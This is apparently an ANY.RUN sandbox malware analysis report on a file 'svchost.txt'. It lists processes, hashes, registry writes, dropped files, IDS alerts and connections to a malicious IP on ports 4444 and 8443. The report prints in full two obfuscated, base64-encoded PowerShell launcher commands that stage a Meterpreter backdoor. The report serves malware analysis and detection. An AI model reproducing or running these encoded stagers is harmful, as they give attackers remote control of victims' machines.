download:

svchost.txt

Full analysis: https://app.any.run/tasks/a797fcb8-881c-4a96-8770-d5390035409f
Verdict: Malicious activity
Threats:

Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email.

Malware Trends Tracker     >>>
Analysis date: July 12, 2020, 20:50:51
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
meterpreter
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with no line terminators
MD5:

A6F585BB666131B88521E01A5F280203

SHA1:

B5DB7D085AF9B14D977FCBD9969F1E5920FFEAF6

SHA256:

8FC15CA8D0EF6852887D439B4B9254A9DD7F4BCF9383B4C4AF65428EE453F77B

SSDEEP:

192:+n2jh1hqTei09/kQ967qmOAN+Q6jxk1k5h2dHhW:+n2jh1hsCNR67lOQ+HDCdHhW

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Runs app for hidden code execution

      • svchost.exe (PID: 2956)

    • METERPRETER was detected

      • svchost.exe (PID: 2072)
      • svchost.exe (PID: 2956)

    • Uses SVCHOST.EXE for hidden code execution

      • powershell.exe (PID: 1500)
      • xBpvPvZ.exe (PID: 3844)

    • Application was dropped or rewritten from another process

      • xBpvPvZ.exe (PID: 3844)

  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 2252)
      • powershell.exe (PID: 3416)

    • Creates files in the user directory

      • powershell.exe (PID: 2252)
      • powershell.exe (PID: 3416)
      • powershell.exe (PID: 1500)
      • powershell.exe (PID: 3264)

    • Application launched itself

      • powershell.exe (PID: 3416)
      • powershell.exe (PID: 3264)

    • Executes PowerShell scripts

      • powershell.exe (PID: 3416)
      • powershell.exe (PID: 3264)

    • Starts CMD.EXE for commands execution

      • svchost.exe (PID: 2956)

    • Executable content was dropped or overwritten

      • svchost.exe (PID: 2956)

  • INFO

    • Manual execution by user

      • powershell.exe (PID: 2252)
      • powershell.exe (PID: 3416)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
9
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start notepad.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs powershell.exe no specs #METERPRETER svchost.exe xbpvpvz.exe #METERPRETER svchost.exe cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1500"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKJ2C18CA7VWbW/aSBD+nEj5D1aFhK0SbMAhL1Klsw0GEkwA807RabEX2LD2EnsJkLb//WYBJ+k1vWtPOisv69mZ2ZlnntnxbB16nLBQ4g9U+nJ2etJEEQokObWMM1IqDgzl5ASkKX7XHtWlT5I8NlarEgsQCSc3N9Y6inDID+/ZCuZGHONgSgmOZUX6KvUXOMLn99MH7HHpi5T6M1uhbIroUW1nIW+BpXMj9MVenXlIxJJ1V5RwOf35c1oZn+cm2fLjGtFYTru7mOMg61OaVqRvijiws1thOe0QL2Ixm/Fsn4SFfLYbxmiGG+DtCTuYL5gfpxVIA34izNdRKB0SEh4O+3Ials2IeYbvRziO0xlpLHyPJ5M/5PHx4PY65CTA2VrIccRWLo6eiIfjbBWFPsVtPJuAlcsjEs4nigJqT2yJ5VS4pjQj/Y4buYE3CWy/aiS/NQKtJo+UDBTyvUQd5q8pPpim34kUqq/Ac2QAIPft7PTsdJZwZeW4zluywOpkvF9jCE5uspjs9T5JWkZy4BTEWbSD11QnWmNl8gIt+Gcs83PzXKILmpw/5SnIxj1G/AnYHAuaCmi7IeQ/J2YJz0iIS7sQBcRLuCe/BzKeUbzPMZuoNSAqOX3cwH4JUzxHXKAmav2DWTkg/MXWXBPq48jwoFAxRAU1VL4P5lAIOV0LHRwARod3IF9qBozHifaR5bvkdPEOSmmLohj6tLmGlvMykosRxX5GMsKYHLeMNWf7Zfo1XGdNOfFQzBN3EyXB8XiexcKYR2sPyga5d9wV9giiAoqMVCU+NncumSfnpt8FwkKUQh+ApycoBEgEAC4XZIj8zL7wStbFvBasKA5AZd/6NkVzaPQj2ffkQXPsp/8eYMLlA3EFFAkGb8KD+rqU8YzUIxGHG0TAumfRfzr+zd2xD8SK8LESctIgY3PHBa1T8fbuWtyWCS57FCIOCNgRC0wU46J+uCfkD+p90DDgGQybtqVXy17zUlX1XPe2Yrqobt+hy6qaG+bKt5VSNLSLDVwxB91SddrNNZgJdpbd6HRzow6qhk5Tn4LuwPDt7WOrVqqWYc/xeUd99lnEsNtU1V6vMp8aLcMoPm9bQr71yfUFyMFfh2ibpWrbna56VUAOioMwVHP9SEXlzqaBS2oOk6kKj1cYPaDK9bNvXVBc6RrFyqUQsyfxV31m8zkEVrFuLzpVY1TjLafG3RL82jW+uzM+Flwy3KrFzdVwsLHqVsl83mjm9mN916W43l1YdfdhV++Ytq5rc1PrVep91zA1nd9W7p2iO4w1sqn2ndnHeONdNaC7dL06yBuFgn5f0JY+bg9Jbr40/EZANts6rOFSv6+btdjUarR8a7Wn/bw96tOqqtvXsz6L3aKe81HJ2RmGyfyCsxvk2qxT9QJTD5l6belLowxAh+WebbK7oRkZTbWH5jk2xQW/m59bhlW6JHjU6tpmq2WbRrfy8Fi6VufqdX+AFma/lyej1aC9gHd7U205qqbXfLxlV/U+6T0JX+ajaY8GyKiPdrYKNYzzaGkyQxTYHj0alcVwZTcp2He6eWb0aONVt1Ut3Xmj3GXsfPogiApMTdHiG/b9bHQ4KIoXiAIrYSQkd4HNIvt4zzcZERayLL4NljgKMYXZCtM3aSiDUuaJIbMfCDDgDmNHTMEuLAv5d1eK9KKovM6eRHRzM4IgRYeKHsrWcTjni4y2LWgaDBNtq2uQ469nZrHVTj74yohpBMi8+KZ734ro3BS6eP5fETveFgv45/8bYq+yf9j9JRS1jMj3B+H3gt/C83fz7iPCQdGFq47iw7B9P/0jN958jEBJoO6z4yM+J+/X/LwBnyhnp38BkGvWV7cKAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2072svchost.exeC:\Windows\system32\svchost.exe
xBpvPvZ.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\mswsock.dll
2168C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2252"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2956svchost.exeC:\Windows\system32\svchost.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\mswsock.dll
3252"C:\Windows\system32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\svchost.txtC:\Windows\system32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\notepad.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3264"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBLAEoAMgBDADEAOABDAEEANwBWAFcAYgBXAC8AYQBTAEIARAArAG4ARQBqADUARAAxAGEARgBoAEsAMABTAGIATQBBAGgATAAxAEsAbABzAHcAMABHAEUAawB3AEEAOAAwADcAUgBhAGIARQBYADIATABEADIARQBuAHMASgBrAEwAYgAvAC8AVwBZAEIASgArAGsAMQB2AFcAdABQAE8AaQBzAHYANgA5AG0AWgAyAFoAbABuAG4AdABuAHgAYgBCADEANgBuAEwAQgBRADQAZwA5AFUAKwBuAEoAMgBlAHQASgBFAEUAUQBvAGsATwBiAFcATQBNADEASQBxAEQAZwB6AGwANQBBAFMAawBLAFgANwBYAEgAdABXAGwAVAA1AEkAOABOAGwAYQByAEUAZwBzAFEAQwBTAGMAMwBOADkAWQA2AGkAbgBEAEkARAArAC8AWgBDAHUAWgBHAEgATwBOAGcAUwBnAG0ATwBaAFUAWAA2AEsAdgBVAFgATwBNAEwAbgA5ADkATQBIADcASABIAHAAaQA1AFQANgBNADEAdQBoAGIASQByAG8AVQBXADEAbgBJAFcAKwBCAHAAWABNAGoAOQBNAFYAZQBuAFgAbABJAHgASgBKADEAVgA1AFIAdwBPAGYAMwA1AGMAMQBvAFoAbgArAGMAbQAyAGYATABqAEcAdABGAFkAVAByAHUANwBtAE8ATQBnADYAMQBPAGEAVgBxAFIAdgBpAGoAaQB3AHMAMQB0AGgATwBlADAAUQBMADIASQB4AG0ALwBGAHMAbgA0AFMARgBmAEwAWQBiAHgAbQBpAEcARwArAEQAdABDAFQAdQBZAEwANQBnAGYAcAB4AFYASQBBADMANABpAHoATgBkAFIASwBCADAAUwBFAGgANABPACsAMwBJAGEAbABzADIASQBlAFkAYgB2AFIAegBpAE8AMAB4AGwAcABMAEgAeQBQAEoANQBNAC8ANQBQAEgAeAA0AFAAWQA2ADUAQwBUAEEAMgBWAHIASQBjAGMAUgBXAEwAbwA2AGUAaQBJAGYAagBiAEIAVwBGAFAAcwBWAHQAUABKAHUAQQBsAGMAcwBqAEUAcwA0AG4AaQBnAEoAcQBUADIAeQBKADUAVgBTADQAcABqAFEAagAvAFkANABiAHUAWQBFADMAQwBXAHkALwBhAGkAUwAvAE4AUQBLAHQASgBvACsAVQBEAEIAVAB5AHYAVQBRAGQANQBxADgAcABQAHAAaQBtADMANABrAFUAcQBxAC8AQQBjADIAUQBBAEkAUABmAHQANwBQAFQAcwBkAEoAWgB3AFoAZQBXADQAegBsAHUAeQB3AE8AcABrAHYARgA5AGoAQwBFADUAdQBzAHAAagBzADkAVAA1AEoAVwBrAFoAeQA0AEIAVABFAFcAYgBTAEQAMQAxAFEAbgBXAG0ATgBsADgAZwBJAHQAKwBHAGMAcwA4ADMAUAB6AFgASwBJAEwAbQBwAHcALwA1AFMAbgBJAHgAagAxAEcALwBBAG4AWQBIAEEAdQBhAEMAbQBpADcASQBlAFEALwBKADIAWQBKAHoAMABpAEkAUwA3AHMAUQBCAGMAUgBMAHUAQwBlAC8AQgB6AEsAZQBVAGIAegBQAE0AWgB1AG8ATgBTAEEAcQBPAFgAMwBjAHcASAA0AEoAVQB6AHgASABYAEsAQQBtAGEAdgAyAEQAVwBUAGsAZwAvAE0AWABXAFgAQgBQAHEANAA4AGoAdwBvAEYAQQB4AFIAQQBVADEAVgBMADQAUAA1AGwAQQBJAE8AVgAwAEwASABSAHcAQQBSAG8AZAAzAEkARgA5AHEAQgBvAHoASABpAGYAYQBSADUAYgB2AGsAZABQAEUATwBTAG0AbQBMAG8AaABqADYAdABMAG0ARwBsAHYATQB5AGsAbwBzAFIAeABYADUARwBNAHMASwBZAEgATABlAE0ATgBXAGYANwBaAGYAbwAxAFgARwBkAE4ATwBmAEYAUQB6AEIATgAzAEUAeQBYAEIAOABYAGkAZQB4AGMASwBZAFIAMgBzAFAAeQBnAGEANQBkADkAdwBWADkAZwBpAGkAQQBvAHEATQBWAEMAVQArAE4AbgBjAHUAbQBTAGYAbgBwAHQAOABGAHcAawBLAFUAUQBoACsAQQBwAHkAYwBvAEIARQBnAEUAQQBDADQAWABaAEkAagA4AHoATAA3AHcAUwB0AGIARgB2AEIAYQBzAEsAQQA1AEEAWgBkAC8ANgBOAGsAVgB6AGEAUABRAGoAMgBmAGYAawBRAFgAUABzAHAALwA4AGUAWQBNAEwAbABBADMARQBGAEYAQQBrAEcAYgA4AEsARAArAHIAcQBVADgAWQB6AFUASQB4AEcASABHADAAVABBAHUAbQBmAFIAZgB6AHIAKwB6AGQAMgB4AEQAOABTAEsAOABMAEUAUwBjAHQASQBnAFkAMwBQAEgAQgBhADEAVAA4AGYAYgB1AFcAdAB5AFcAQwBTADUANwBGAEMASQBPAEMATgBnAFIAQwAwAHcAVQA0ADYASgArAHUAQwBmAGsARAArAHAAOQAwAEQARABnAEcAUQB5AGIAdABxAFYAWAB5ADEANwB6AFUAbABYADEAWABQAGUAMgBZAHIAcQBvAGIAdAArAGgAeQA2AHEAYQBHACsAYgBLAHQANQBWAFMATgBMAFMATABEAFYAdwB4AEIAOQAxAFMAZABkAHIATgBOAFoAZwBKAGQAcABiAGQANgBIAFIAegBvAHcANgBxAGgAawA1AFQAbgA0AEwAdQB3AFAARAB0ADcAVwBPAHIAVgBxAHEAVwBZAGMALwB4AGUAVQBkADkAOQBsAG4ARQBzAE4AdABVADEAVgA2AHYATQBwADgAYQBMAGMATQBvAFAAbQA5AGIAUQByADcAMQB5AGYAVQBGAHkATQBGAGYAaAAyAGkAYgBwAFcAcgBiAG4AYQA1ADYAVgBVAEEATwBpAG8ATQB3AFYASABQADkAUwBFAFgAbAB6AHEAYQBCAFMAMgBvAE8AawA2AGsASwBqADEAYwBZAFAAYQBEAEsAOQBiAE4AdgBYAFYAQgBjADYAUgByAEYAeQBxAFUAUQBzAHkAZgB4AFYAMwAxAG0AOAB6AGsARQBWAHIARgB1AEwAegBwAFYAWQAxAFQAagBMAGEAZgBHADMAUgBMADgAMgBqAFcAKwB1AHoATQArAEYAbAB3AHkAMwBLAHIARgB6AGQAVgB3AHMATABIAHEAVgBzAGwAOAAzAG0AagBtADkAbQBOADkAMQA2AFcANAAzAGwAMQBZAGQAZgBkAGgAVgArACsAWQB0AHEANQByAGMAMQBQAHIAVgBlAHAAOQAxAHoAQQAxAG4AZAA5AFcANwBwADIAaQBPADQAdwAxAHMAcQBuADIAbgBkAG4ASABlAE8ATgBkAE4AYQBDADcAZABMADAANgB5AEIAdQBGAGcAbgA1AGYAMABKAFkAKwBiAGcAOQBKAGIAcgA0ADAALwBFAFoAQQBOAHQAcwA2AHIATwBGAFMAdgA2ACsAYgB0AGQAagBVAGEAcgBSADgAYQA3AFcAbgAvAGIAdwA5ADYAdABPAHEAcQB0AHYAWABzAHoANgBMADMAYQBLAGUAOAAxAEgASgAyAFIAbQBHAHkAZgB5AEMAcwB4AHYAawAyAHEAeABUADkAUQBKAFQARAA1AGwANgBiAGUAbABMAG8AdwB4AEEAaAArAFcAZQBiAGIASwA3AG8AUgBrAFoAVABiAFcASAA1AGoAawAyAHgAUQBXAC8AbQA1ADkAYgBoAGwAVwA2AEoASABqAFUANgB0AHAAbQBxADIAVwBiAFIAcgBmAHkAOABGAGkANgBWAHUAZgBxAGQAWAArAEEARgBtAGEALwBsAHkAZQBqADEAYQBDADkAZwBIAGQANwBVADIAMAA1AHEAcQBiAFgAZgBMAHgAbABWAC8AVQArADYAVAAwAEoAWAArAGEAagBhAFkAOABHAHkASwBpAFAAZAByAFkASwBOAFkAegB6AGEARwBrAHkAUQB4AFQAWQBIAGoAMABhAGwAYwBWAHcAWgBUAGMAcAAyAEgAZQA2AGUAVwBiADAAYQBPAE4AVgB0ADEAVQB0ADMAWABtAGoAMwBHAFgAcwBmAFAAbwBnAGkAQQBwAE0AVABkAEgAaQBHAC8AYgA5AGIASABRADQASwBJAG8AWABpAEEASQByAFkAUwBRAGsAZAA0AEgATgBJAHYAdAA0AHoAegBjAFoARQBSAGEAeQBMAEwANABOAGwAagBnAEsATQBZAFgAWgBDAHQATQAzAGEAUwBpAEQAVQB1AGEASgBJAGIATQBmAEMARABEAGcARABtAE4ASABUAE0ARQB1AEwAQQB2ADUAZAAxAGUASwA5AEsASwBvAHYATQA2AGUAUgBIAFIAegBNADQASQBnAFIAWQBlAEsASABzAHIAVwBjAFQAagBuAGkANAB5ADIATABXAGcAYQBEAEIATgB0AHEAMgB1AFEANAA2ADkAbgBaAHIASABWAFQAagA3ADQAeQBvAGgAcABCAE0AaQA4ACsASwBaADcAMwA0AHIAbwAzAEIAUwA2AGUAUAA1AGYARQBUAHYAZQBGAGcAdgA0ADUALwA4AGIAWQBxACsAeQBmADkAagA5AEoAUgBTADEAagBNAGoAMwBCACsASAAzAGcAdAAvAEMAOAAzAGYAegA3AGkAUABDAFEAZABHAEYAcQA0ADcAaQB3ADcAQgA5AFAALwAwAGoATgA5ADUAOABqAEUAQgBKAG8ATwA2AHoANAB5AE0AKwBKACsALwBYAC8ATAB3AEIAbgB5AGgAbgBwADMAOABCAGsARwB2AFcAVgA3AGMASwBBAEEAQQA9ACcAJwApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3416"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3844"C:\Users\admin\AppData\Local\Temp\xBpvPvZ.exe" C:\Users\admin\AppData\Local\Temp\xBpvPvZ.exe
svchost.exe
User:
admin
Company:
Apache Software Foundation
Integrity Level:
HIGH
Description:
ApacheBench command line utility
Exit code:
0
Version:
2.2.14
Modules
Images
c:\users\admin\appdata\local\temp\xbpvpvz.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\wsock32.dll
c:\windows\system32\ws2_32.dll
Total events
1 132
Read events
902
Write events
230
Delete events
0

Modification events

(PID) Process:(2252) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3416) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3264) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(1500) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\12F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2956) svchost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2956) svchost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3252) NOTEPAD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Notepad
Operation:writeName:iWindowPosX
Value:
132
(PID) Process:(3252) NOTEPAD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Notepad
Operation:writeName:iWindowPosY
Value:
132
(PID) Process:(3252) NOTEPAD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Notepad
Operation:writeName:iWindowPosDX
Value:
960
(PID) Process:(3252) NOTEPAD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Notepad
Operation:writeName:iWindowPosDY
Value:
501
Executable files
1
Suspicious files
8
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
2252powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZINK0K0ZQ0RTZR87MVMO.temp —
MD5:—
SHA256:—
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\23OWN26ITS9BRNHXH04B.temp —
MD5:—
SHA256:—
3264powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GU1QV056KWNCGG1GFAD4.temp —
MD5:—
SHA256:—
1500powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4FXF9NKMCYN438A4O9X4.temp —
MD5:—
SHA256:—
3252NOTEPAD.EXEC:\Users\admin\AppData\Local\Temp\svchost.txt —
MD5:—
SHA256:—
2252powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF27f723.TMPbinary
MD5:—
SHA256:—
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF28a574.TMPbinary
MD5:—
SHA256:—
2252powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3416powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
1500powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
0
Threats
8

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2072
svchost.exe
109.237.221.83:4444
—
Mihos
NL
malicious
2956
svchost.exe
109.237.221.83:8443
—
Mihos
NL
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
2956
svchost.exe
A Network Trojan was detected
MALWARE [PTsecurity] Possible Metasploit Payload Bind_API (from server)
2956
svchost.exe
Generic Protocol Command Decode
SURICATA Applayer Protocol detection skipped
2956
svchost.exe
A Network Trojan was detected
ET TROJAN Possible Metasploit Payload Common Construct Bind_API (from server)
2956
svchost.exe
A Network Trojan was detected
MALWARE [PTsecurity] BackDoor.Meterpreter.19
2072
svchost.exe
A Network Trojan was detected
MALWARE [PTsecurity] Possible Metasploit Payload Bind_API (from server)
2072
svchost.exe
Generic Protocol Command Decode
SURICATA Applayer Protocol detection skipped
2072
svchost.exe
A Network Trojan was detected
ET TROJAN Possible Metasploit Payload Common Construct Bind_API (from server)
2072
svchost.exe
A Network Trojan was detected
MALWARE [PTsecurity] BackDoor.Meterpreter.19
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
svchost.txt